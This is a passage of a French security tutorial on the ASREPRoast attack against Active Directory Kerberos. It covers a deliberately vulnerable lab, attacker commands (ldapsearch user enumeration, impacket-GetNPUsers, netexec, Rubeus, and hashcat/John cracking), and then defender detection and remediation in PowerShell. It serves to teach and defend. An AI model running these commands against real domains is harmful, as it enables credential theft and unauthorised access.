<p>Cependant, Microsoft a ajouté un attribut aux objets utilisateur qui permet d'autoriser le service Kerberos à fournir un TGT à quiconque le demande, sans authentification : l'attribut "<em><strong>Do not require Kerberos preauthentication</strong></em>". Dans ce cas, un attaquant peut demander un TGT pour un tel compte sans avoir besoin de fournir de preuve d'identité valide. Voilà alors ce qu'il se passe (cliquez sur l'image pour zoomer) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/38b60416.asreproast-kerberos-asrep-nopreauth.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-nopreauth.png"><img decoding="async" width="800" height="430" src="media/fd723a24.asreproast-kerberos-asrep-nopreauth-800x430.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-nopreauth-800x430.png" alt="Obtention d'un TGT sans authentification préalable pour un utilisateur ayant l'attribut &quot;No preauthentication required&quot;." class="wp-image-76460" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-nopreauth-800x430.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-nopreauth-550x296.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-nopreauth-150x81.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-nopreauth-768x413.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-nopreauth-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-nopreauth.png 1137w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Obtention d'un TGT sans authentification préalable pour un utilisateur ayant l'attribut "No preauthentication required".</figcaption></figure></div>


<p>Une "<strong>AS-REQ</strong>", demandant un TGT pour l'utilisateur "<strong>RDUBOIS</strong>", puis une "<strong>AS-REP</strong>" du KDC délivrant TGT, le tout sans preuve d'identité (authentification). N'importe qui peut donc usurper l'identité de l'utilisateur "<strong>RDUBOIS</strong>" en demandant un TGT à son nom, puis des TGS pour échanger avec les services du domaine.</p>



<p>Pour être plus précis, rappelons que <strong>le TGT obtenu dans les messages </strong>"<strong>AS-REP</strong>"<strong> est chiffré</strong> et<strong> ne peut être utilisé sans connaître le mot de passe</strong> du compte utilisateur. Cependant, étant donné qu'il est chiffré avec un dérivé du mot de passe utilisateur, l'attaquant pourra <strong>tenter de casser ce mot de passe en <em><span style="text-decoration: underline;">Offline</span></em></strong> (localement, sans interactions supplémentaires avec le KDC ou le domaine), pour retrouver le mot de passe de l'utilisateur.</p>



<p>En résumé, quand cet attribut est présent sur un compte utilisateur, n'importe qui peut obtenir une donnée (le TGT) qui utilise un dérivé du mot de passe du compte utilisateur, et donc tenter de retrouver le mot de passe en clair. Même en étant confiant sur l'algorithme de chiffrement et la robustesse du mot de passe utilisé, reconnaissons qu'il est <strong>plutôt périlleux de fournir ce genre d'informations à un simple visiteur non authentifié</strong> sur notre système d'information.</p>



<p>J'espère que cette vue en détail des échanges Kerberos vous aura permis de mieux comprendre le fonctionnement de l'attaque ASREPRoast.</p>



<h3 class="wp-block-heading">C. Pourquoi cet attribut ?</h3>



<p>Certaines applications <strong>ne prennent pas en charge la pré-authentification Kerberos,</strong> il est ainsi courant de trouver des utilisateurs avec la pré-authentification Kerberos désactivée, permettant ainsi aux attaquants de demander des TGT pour ces utilisateurs. C'est la raison principale de l'existence de ce paramètre d'après la documentation Microsoft. La pré-authentification Kerberos peut également être désactivée pour d'autres raisons liées à des besoins spécifiques de sécurité ou de compatibilité avec d'autres systèmes.</p>



<p>Dans la réalité, il n'est pas rare de trouver de tels comptes, notamment sur des systèmes d'information qui ont un certain historique...</p>



<h2 class="wp-block-heading">III. Configuration d'un Lab vulnérable</h2>



<p>Attention, dans ce chapitre, nous allons configurer de manière volontaire un Lab vulnérable pour vous exposer le but et le fonctionnement de l'attaque. </p>



<p class="has-text-align-center"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"><strong>NE PAS REPRODUIRE SUR UN ENVIRONNEMENT DE PRODUCTION.</strong></mark></p>



<p>Dans mon Lab de démonstration, j'ouvre la console "<strong>Utilisateurs et ordinateurs Active Directory</strong>", puis je sélectionne un de mes utilisateurs, ici l'utilisateur "<strong>RDUBOIS</strong>". Il faut ensuite faire un clic droit "<strong>Propriétés</strong>" sur cet objet et se rendre dans "<strong>Compte</strong>" : </p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="793" height="637" src="media/3d4f5394.asreproast-kerberos-active-directory-configuration-nopreauth.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-configuration-nopreauth.png" alt="Configuration de l'attribut &quot;Do not require Kerberos preauthentication&quot; sur un compte utilisateur." class="wp-image-76461" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-configuration-nopreauth.png 793w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-configuration-nopreauth-550x442.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-configuration-nopreauth-150x120.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-configuration-nopreauth-768x617.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-configuration-nopreauth-50x40.png 50w" sizes="(max-width: 793px) 100vw, 793px" /><figcaption class="wp-element-caption">Configuration de l'attribut "<em>Do not require Kerberos preauthentication</em>" sur un compte utilisateur.</figcaption></figure></div>


<p>Dans les "<strong>Options de compte</strong>", il faut trouver et cocher "<strong>La pré-authentification Kerberos n'est pas nécessaire</strong>" comme sur l'image ci-dessus.</p>



<p>Si vous vous souvenez des explications précédentes, l'attaque ASREPROAST est d'autant plus dangereuse si le mot de passe utilisé est faible, pour avoir un cas d'école, nous allons paramétrer le mot de passe de l'utilisateur "<strong>RDUBOIS</strong>" à "<strong>#1p@ssword</strong>" (ce n'est pas un mot de passe faible ? Vous allez voir que si <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ). Il faut à nouveau faire un clic droit sur l'objet puis "<strong>Réinitialiser le mot de passe</strong>" : </p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="577" height="279" src="media/c03b1b18.asreproast-kerberos-active-directory-password.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-password.png" alt="Paramétrage d'un mot de passe faible sur le compte utilisateur." class="wp-image-76462" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-password.png 577w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-password-550x266.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-password-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-active-directory-password-50x24.png 50w" sizes="(max-width: 577px) 100vw, 577px" /><figcaption class="wp-element-caption">Paramétrage d'un mot de passe faible sur le compte utilisateur.</figcaption></figure></div>


<p>Voilà, notre Lab d'entrainement est prêt !</p>



<h2 class="wp-block-heading">IV. Point de vue de l'attaquant</h2>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Soyez vigilant à n'exploiter ou même tenter de découvrir cette vulnérabilité que si vous y êtes autorisé</mark></strong>. Pour rappel : <a href="https://www.legifrance.gouv.fr/codes/article_lc/LEGIARTI000030939438/" target="_blank" rel="noopener nofollow" title="">Code pénal : Chapitre III : Des atteintes aux systèmes de traitement automatisé de données</a></p>



<h3 class="wp-block-heading">A. Trouver une liste de noms</h3>



<p>Vous l'aurez compris, pour effectuer une attaque ASREPRoast, <strong>il faut un login utilisateur à tester</strong>, voire plusieurs. Dans un premier temps, l'attaquant doit donc se constituer une liste de login (dictionnaire) qu'il soumettra ensuite au service Kerberos.</p>



<ul>
<li><strong>Dans le cas où l'attaquant n'est pas authentifié sur le domaine (boite noire) :</strong></li>
</ul>



<p>Si l'attaquant n'a pas de compte sur l'Active Directory, il peut utiliser différentes méthodes pour récupérer des logins valides. <strong>L'<a href="https://www.it-connect.fr/osint-definition-presentation-usage-outils/" target="_blank" rel="noopener" title="Qu’est-ce que l’OSINT ?">OSINT</a></strong> (<em>Open Source Intelligence</em>) est une méthode assez commune puisqu'avec quelques requêtes Google ou recherches Linkedin, on peut assez facilement retrouver une liste de personnes travaillant dans une entreprise. La recherche dans des fuites de données, basée sur le nom de l'entreprise ou l'adresse mail, est aussi fréquente.</p>



<p>Depuis l'intérieur du réseau (toujours sans compte valide sur le domaine), il existe un grand nombre de techniques également. <strong>Les imprimantes sont mon moyen favori</strong>, souvent mal protégées avec des interfaces d'administration exposées et verbeuses, elles stockent des carnets d'adresses qui exposent souvent des logins utilisateur. Les applications <strong>web internes, services SNMP, SMB et RPC mal configurés</strong> (authentification anonyme) ou même l'interception réseau sont également très efficaces.</p>



<p>Également, il est possible pour l'attaquant d<strong>'utiliser des dictionnaires pré-conçus</strong> utilisant des couples prénom-noms communs, voir des noms de comptes techniques comme "<strong>svc-ldap</strong>", "<strong>backup</strong>", "<strong>formation</strong>", "<strong>accueil</strong>", etc. Les dictionnaires que j'utilise souvent sont publics et fonctionnent en général très bien, bien qu'utilisant majoritairement des noms anglophones : <a href="https://github.com/insidetrust/statistically-likely-usernames" target="_blank" rel="noopener nofollow" title="">https://github.com/insidetrust/statistically-likely-usernames</a>.</p>



<p>Avec toutes ces méthodes, il est souvent très facile de se constituer <strong>une liste bien fournie de logins utilisateur potentiels</strong>. Il faut enfin savoir les formater grâce à la nomenclature actuelle de l'Active Directory ciblé : <strong>est-ce </strong>"<strong>marc.martin</strong>"<strong>, marc_martin, </strong>"<strong>m.martin</strong>"<strong>, </strong>"<strong>mmartin</strong>" ? etc.</p>



<ul>
<li><strong>Dans le cas où l'attaquant est authentifié sur le domaine (boite grise) :</strong></li>
</ul>



<p>Si l'attaquant possède déjà un compte sur le domaine, rien de plus facile. Une <strong>simple requête LDAP</strong> permettra de récupérer la totalité des logins utilisateur de l'annuaire, il aura alors une liste exhaustive des comptes à cibler, augmentant ses chances d'en trouver un avec l'attribut "<em>Do not require Kerberos preauthentication</em>".  </p>



<p>Depuis Linux, une requête "<strong>ldapsearch</strong>" fera l'affaire :</p>



<pre class="wp-block-code"><code>ldapsearch -v -x -D "mmartin@it-connect.tech" -W -b "DC=it-connect,DC=tech"  -H "ldap://ad01.it-connect.tech" "(&amp;(objectClass=user))" sAMAccountName |grep "sAMAccountName:" |cut -d " " -f 2 &gt; /tmp/userlist</code></pre>



<p>J'utilise ici la commande "<strong>ldapsearch</strong>" pour récupérer les attributs "<strong>sAMAccountName</strong>" des utilisateurs du domaine, puis la commande "<strong>grep</strong>" pour isoler les lignes qui m'intéressent et enfin "<strong>cut</strong>" pour isoler uniquement le login de l'utilisateur. Si vous peinez à comprendre cette commande, n'hésitez pas à la décomposer dans votre environnement et à exécuter les commandes une à une. Le tout est enregistré dans le fichier "<strong>/tmp/userlist</strong>". Voici un exemple du résultat attendu : </p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="338" src="media/b7ce03fe.asreproast-ldapsearch-getuser-800x338.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/asreproast-ldapsearch-getuser-800x338.png" alt="Extraction des utilisateurs de l'Active Directory avec un compte valide sur le domaine via &quot;ldapsearch&quot;." class="wp-image-77750" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/asreproast-ldapsearch-getuser-800x338.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/asreproast-ldapsearch-getuser-550x232.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/asreproast-ldapsearch-getuser-150x63.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/asreproast-ldapsearch-getuser-768x324.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/asreproast-ldapsearch-getuser-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/asreproast-ldapsearch-getuser.png 860w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Extraction des utilisateurs de l'Active Directory avec un compte valide sur le domaine via "<strong>ldapsearch</strong>".</figcaption></figure></div>


<p>Je me retrouve donc avec une liste de 1000 logins utilisateur valides dans le fichier "<strong>/tmp/userlist</strong>".</p>



<p>L'outil <strong>BloodHound</strong> va également récupérer la liste des utilisateurs pour les stocker dans un fichier JSON, qui pourra facilement être parcouru pour en extraire les logins. Je vous oriente sur mon cours sur BloodHound si vous souhaitez en savoir plus : <a href="https://www.it-connect.fr/cours/bloodhound-identifier-faiblesses-de-votre-active-directory/" target="_blank" rel="noopener" title="">Identifiez les faiblesses de votre Active Directory avec Bloodhound</a></p>



<p>Une fois cette liste, hypothétique, partielle ou complète à disposition, l'attaquant va pouvoir interroger sur le service Kerberos du domaine afin de voir si :</p>



<ul>
<li>L'utilisateur existe dans l'annuaire;</li>



<li>Il dispose de l'attribut "<em>Do not require Kerberos preauthentication</em>".</li>
</ul>



<h3 class="wp-block-heading">B. Exploiter ASREPRoast depuis Linux</h3>



<p>Depuis Linux, une multitude d'outils offensifs existent pour effectuer cette attaque. Je vais ici vous présenter les outils les plus classiques : "<strong>impacket</strong>" et "<strong>netexec</strong>".</p>



<blockquote class="wp-block-quote">
<p>Impacket est une bibliothèque Python utilisée pour interagir avec des protocoles de réseau tels que SMB, LDAP et Kerberos. Elle offre des outils pour la manipulation de paquets réseau, la création de serveurs et de clients pour ces protocoles, ainsi que des fonctionnalités avancées pour l'analyse et l'exploitation de vulnérabilités. Impacket est très largement utilisé pour les opérations offensives et de nombreux outils utilisent cette librairie.</p>
</blockquote>



<p>En plus d'être une librairie très puissante, les créateurs d'Impacket fournissent des scripts qui l'utilisent afin d'automatiser certaines opérations et attaques, comme <strong>ASREPRoast</strong>. Je ne peux pas détailler ici la procédure d'installation de "<strong>Impacket</strong>" et de ses "<em>examples scripts</em>", je vous renvoie pour cela à la documentation officielle : <a href="https://github.com/fortra/impacket?tab=readme-ov-file#setup" target="_blank" rel="noopener nofollow" title="">Github - Impacket</a>.</p>



<ul>
<li><strong>ASREPRoast en boite noire</strong></li>
</ul>



<p>Nous allons notamment utiliser le script "<strong>impacket-GetNPUsers</strong>" ("NP" pour "NoPreauth"). Dans le cas où nous sommes en boite noire, nous avons au préalable construit notre dictionnaire à partir de différentes sources. Nous pouvons utiliser ce dictionnaire pour réaliser une attaque ASREPRoast. Ici,"<strong>192.168.56.102</strong>" est l'adresse IP de mon contrôleur de domaine, qui héberge le service Kerberos (KDC)) :</p>



<pre class="wp-block-code"><code>impacket-GetNPUsers -usersfile /tmp/userlist -request -format hashcat -outputfile /tmp/IMPACKET_asreproast_blackbox.txt -dc-ip 192.168.56.102 'it-connect.tech/'</code></pre>



<p>L'outil <a href="https://www.netexec.wiki/" target="_blank" rel="noopener nofollow" title="">netexec</a> (NXC), également très présent dans les opérations offensives, peut aussi être utilisé :</p>



<pre class="wp-block-code"><code>netexec ldap 192.168.56.102 -u /tmp/userlist -p '' -d it-connect.tech --asreproast /tmp/NXC-asreproast_blackbox.out</code></pre>



<ul>
<li><strong>ASREPRoast en boite grise</strong></li>
</ul>



<p>Si l'on dispose d'un accès authentifié au domaine, encore mieux, "<strong>impacket-GetNPUsers</strong>" peut automatiser à la fois la récupération des utilisateurs dans la base LDAP, et l'envoi d'un "<strong>AS-REQ</strong>" en leur nom pour voir s'ils sont vulnérables à l'ASREPRoast :</p>



<pre class="wp-block-code"><code>impacket-GetNPUsers -request -format hashcat -outputfile ASREProastables.txt -dc-ip 192.168.56.102 'it-connect.tech/mmartin:MyPassword1!'  -outputfile /tmp/IMPACKET_asreproast_greybox.txt</code></pre>



<p>Même principe pour "<strong>netexec</strong>", il suffira de spécifier l'utilisateur ("<strong>-u</strong>") et son mot de passe de ("<strong>-p</strong>") pour s'authentifier auprès du service LDAP afin de récupérer la liste des utilisateurs :</p>



<pre class="wp-block-code"><code>netexec ldap 192.168.56.102 -u mmartin -p 'MyPassword1!' --asreproast /tmp/NXC-asreproast_greybox.txt</code></pre>



<p>Voici le résultat attendu pour "<strong>impacket-GetNPUsers</strong>" et "<strong>netexec</strong>" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><a href="media/e82666b9.asreproast-netexec-impacket.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-netexec-impacket.png"><img decoding="async" width="800" height="245" src="media/12bfa2db.asreproast-netexec-impacket-800x245.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-netexec-impacket-800x245.png" alt="Utilisation de &quot;impacket-gtNPUsers&quot; et &quot;netexec&quot; pour la réalisation d'une attaque ASREPRoast." class="wp-image-76478" style="width:800px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-netexec-impacket-800x245.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-netexec-impacket-550x169.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-netexec-impacket-150x46.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-netexec-impacket-768x235.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-netexec-impacket-50x15.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-netexec-impacket.png 1155w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Utilisation de "<strong>impacket-gtNPUsers</strong>" et "<strong>netexec</strong>" pour la réalisation d'une attaque ASREPRoast authentifiée.</figcaption></figure></div>


<p>On voit donc que plusieurs logins sont tentés sur le service Kerberos et que, pour certains, un hash au format "<strong>$krb5asrep$23$</strong>" est obtenu. Il s'agit d'une donnée extraite du TGT obtenu pour chaque utilisateur vulnérable, spécialement formaté pour être interprété par des outils de cassage de mot de passe.</p>



<p>Maintenant que nous avons ces hashs, <strong>nous pouvons tenter de les casser</strong>, par exemple, à l'aide de "<strong>JohnTheRipper</strong>" ou "<strong>hashcat</strong>" et de listes de mots de passe communs comme le dictionnaire de mot de passe "<strong>rockyou.txt</strong>" :</p>



<pre class="wp-block-code"><code>hashcat -m 18200 -a 0 ASREProastables.txt rockyou.txt
john --wordlist=rockyou.txt ASREProastables.txt</code></pre>



<p>Ce cassage s'effectue totalement en local, <strong>sans interactions avec l'Active Directory ou le service Kerberos</strong>. Ainsi, aucune détection n'est possible. Également, l'utilisateur a ici tout son temps et la rapidité de l'opération dépendra de la robustesse du mot de passe et des ressources de calcul qu'il a à disposition. Si des mots de passe faibles ont été utilisés par les comptes utilisateurs vulnérables, ils seront retrouvés par ces outils :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="121" src="media/4ef739e5.asreproast-john-800x121.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-john-800x121.png" alt="Cassage du hash &quot;krb5asrep&quot; extrait du TGT de l'utilisateur obtenu via ASREPRoast." class="wp-image-76479" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-john-800x121.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-john-550x83.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-john-150x23.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-john-768x116.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-john-50x8.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-john.png 1033w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Cassage du hash "<strong>krb5asrep</strong>" extrait du TGT de l'utilisateur obtenu via ASREPRoast.</figcaption></figure></div>


<p>Si les mots de passe sont très robustes, alors il faudra déployer des moyens considérables pour les casser. Ici, le mot de passe semble plutôt correct avec 3 alphabets et une longueur de 10 caractères, mais il se trouve dans le dictionnaire public et très connu "<strong>rockyou.txt</strong>". Nous venons de retrouver le mot de passe d'un utilisateur de l'Active Directory par l'intermédiaire d'un TGT signé grâce à un dérivé de son mot de passe par le service Kerberos.</p>



<h3 class="wp-block-heading">C. Exploiter ASREPRoast depuis Windows</h3>



<p>Sous Windows, l'outil le plus classique pour effectuer cette attaque est "<a href="https://github.com/GhostPack/Rubeus" target="_blank" rel="noopener nofollow" title=""><strong>Rubeus.exe</strong></a>", écrit en C#. Le plus simple est de l'exécuter sur une machine intégrée au domaine ou via un "<strong>runas.exe</strong>" :</p>



<pre class="wp-block-code"><code>.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast</code></pre>



<p>Voici le résultat attendu :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="744" height="518" src="media/7b76f8cd.asreproast-kerberos-asrep-rubeus.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-rubeus.png" alt="Utilisation de &quot;Rubeus.exe&quot; pour la réalisation d'une attaque ASREPRoast." class="wp-image-76486" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-rubeus.png 744w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-rubeus-550x383.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-rubeus-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-rubeus-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-rubeus-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-rubeus-130x90.png 130w" sizes="(max-width: 744px) 100vw, 744px" /><figcaption class="wp-element-caption">Utilisation de "<strong>Rubeus.exe</strong>" pour la réalisation d'une attaque ASREPRoast.</figcaption></figure></div>


<p>Comme pour les outils Linux, le fichier "<strong>hashes.asreproast</strong>" contiendra les hashs contenus dans les TGT récupérés et pourra être passé à "<strong>hashcat</strong>" ou "<strong>JohnTheRipper</strong>" pour cassage.</p>



<h2 class="wp-block-heading">V. Point de vue du défenseur</h2>



<h3 class="wp-block-heading">A. Lister les comptes utilisateurs avec preauth-notreq</h3>



<p><strong>Nous allons maintenant adopter le point de vue du défenseur ou <em>blue team</em> qui souhaite savoir si des utilisateurs vulnérables à ASREPROAST sont présents sur son domaine.</strong></p>



<p>Lorsque nous sommes sur notre propre domaine et contrôleur de domaine, le plus simple est d'utiliser le module PowerShell "<strong>ActiveDirectory</strong>" qui permet de communiquer avec ADSI (<em>Active Directory Services Interface</em>). Nous pouvons notamment cibler l'attribut "<strong>useraccountcontrol</strong>" pour extraire les utilisateurs disposant de l'attribut "<em>Do not require Kerberos preauthentication</em>",  exemple :</p>



<pre class="wp-block-code"><code>Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name, DistinguisedName, Enabled</code></pre>



<p>Voici le résultat attendu :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="367" src="media/5a5ff692.asreproast-active-directory-adsutils-powershell-800x367.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-adsutils-powershell-800x367.png" alt="" class="wp-image-76482" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-adsutils-powershell-800x367.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-adsutils-powershell-550x252.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-adsutils-powershell-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-adsutils-powershell-768x352.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-adsutils-powershell-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-adsutils-powershell.png 908w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Nous avons la même liste utilisateur qu'obtenue via notre requête "<strong>ldapsearch</strong>" bien entendu, avec un filtre sur ceux qui ont déjà l'attribut "<em>Do not require Kerberos authentication</em>", mais nous utilisons ici des outils légitimes et plus accessibles pour les administrateurs système. J'ai notamment ajouté le "<strong>DN</strong>" et l'attribut "<strong>Enabled</strong>" en sortie de la commande (via le "<strong>Format-Table</strong>" ou "<strong>ft</strong>").</p>



<h3 class="wp-block-heading">B. Corriger les comptes vulnérables</h3>



<p>Une fois cette liste à disposition, il convient tout d'abord de déterminer :</p>



<ul>
<li>Pourquoi ils sont/ont été utilisés, pour quels besoins, services et systèmes ?</li>



<li>Est-ce ce qu'ils sont toujours utilisés aujourd'hui ? (date de dernière authentification, dernier changement de mot de passe, journaux d'évènements)</li>



<li>Est-ce que l'attribut "<em>Do not require Kerberos authentication</em>" est vraiment utile et répond à un besoin fonctionnel ?</li>
</ul>



<p>Une fois que ces questions ont toutes une réponse claire pour chaque compte, la décision de désactiver cet attribut peut être prise. </p>



<ul>
<li><strong>Corriger ASREPRoast via l'interface graphique</strong></li>
</ul>



<p>Depuis la console "<strong>Utilisateurs et ordinateurs Active Directory</strong>", effectuez un clic droit sur le compte utilisateur concerné, puis "<strong>Propriétés</strong>. Il faut ensuite se rendre dans "<strong>Compte</strong>" et localiser l'option suivante :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img decoding="async" width="800" height="513" src="media/041138c4.asreproast-active-directory-fix-gui.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-fix-gui.png" alt="Désactivation de l'attribut &quot;Do not require Kerberos preauthentication&quot; sur l'Active Directory." class="wp-image-76493" style="width:800px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-fix-gui.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-fix-gui-550x353.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-fix-gui-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-fix-gui-768x492.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-active-directory-fix-gui-50x32.png 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Désactivation de l'attribut "<em>Do not require Kerberos preauthentication</em>" sur l'Active Directory.</figcaption></figure></div>


<p>Une fois décochée, nous pouvons appliquer nos changements. La modification prend effet immédiatement. </p>



<ul>
<li><strong>Corriger ASPREPRoast via Powershell</strong></li>
</ul>



<p>Il est aussi possible de modifier la valeur de cet attribut en PowerShell via ADSI. Le cmdlet "<strong>Set-ADAccountControl</strong>" est fournie par le module PowerShell "<strong>ActiveDirectory</strong>" :</p>



<pre class="wp-block-code"><code>PS C:\&gt; Set-ADAccountControl -Identity rdubois -DoesNotRequirePreAuth $false</code></pre>



<p>À nouveau, la modification est prise en compte immédiatement.</p>



<ul>
<li><strong>Mesure complémentaire en cas de besoin fonctionnel</strong></li>
</ul>



<p>Si l'attribut "<em>Do not require Kerberos preauthentication</em>" est <strong>nécessaire et répond à un besoin identifié et justifié</strong>, alors il convient de mettre un mot de passe <strong>très</strong>, <strong>très robuste à ce compte</strong>. L'idée est que même si un TGT est récupéré, l'attaquant ne puisse pas casser le hash qu'il contient en vue de récupérer le mot de passe en clair de l'utilisateur. Optez donc pour un mot de passe à plus de 30 caractères.</p>



<p>Dans l'idéal, il est également nécessaire de prévoir un <strong>renouvellement périodique de ces mots de passe afin de réduire leur exposition dans le temps</strong>. Si l'attaquant dispose de tout le temps disponible devant lui pour casser le hash contenu dans le TGT, alors il finira peut-être par y arriver (peut-être au bout de plusieurs années). Mais si le mot de passe du compte est changé tous les six mois, il n'aura potentiellement pas le temps de l'exploiter une fois qu'il l'aura cassé. Il s'agit d'une mesure de sécurité supplémentaire. </p>



<ul>
<li><strong>Limiter la propagation suite à une compromission</strong></li>
</ul>



<p>Il convient également de s'assurer que le compte qui dispose légitimement de l'attribut "<em>Dot not require Kerberos preauthentication</em>" <strong>possède des droits limités sur le domaine </strong>et le système d'information. La revue des ACL, appartenances aux groupes et l'application du principe de moindre privilège (configuration fine et minimaliste des droits pour répondre uniquement aux fonctions métiers) permettra de <strong>limiter au maximum les actions possibles de l'attaquant </strong>en cas de compromission du compte.</p>



<ul>
<li><strong>Changement de mot de passe</strong></li>
</ul>



<p>Enfin, il est à noter que si le compte a eu jusque-là cet attribut, n'importe quel utilisateur de votre domaine a peut être déjà récupéré un TGT et obtenu son mot de passe, ou est en train de tenter de le casser.<strong> Ces mesures de correction doivent donc s'accompagner d'un changement de mot de passe</strong> afin qu'un attaquant exploitant ou ayant exploité cette faiblesse ne puisse pas réutiliser le mot de passe compromis pour ce compte, ce qui sera possible même si l'attribut en question a été décoché.</p>



<h3 class="wp-block-heading">C. Détecter une attaque ASREPRoast</h3>



<p><strong>Du point de vue du défenseur, nous allons également nous intéresser aux possibilités de détection d'une attaque ASREPRoast passée ou en cours sur le système d'information.</strong></p>



<ul>
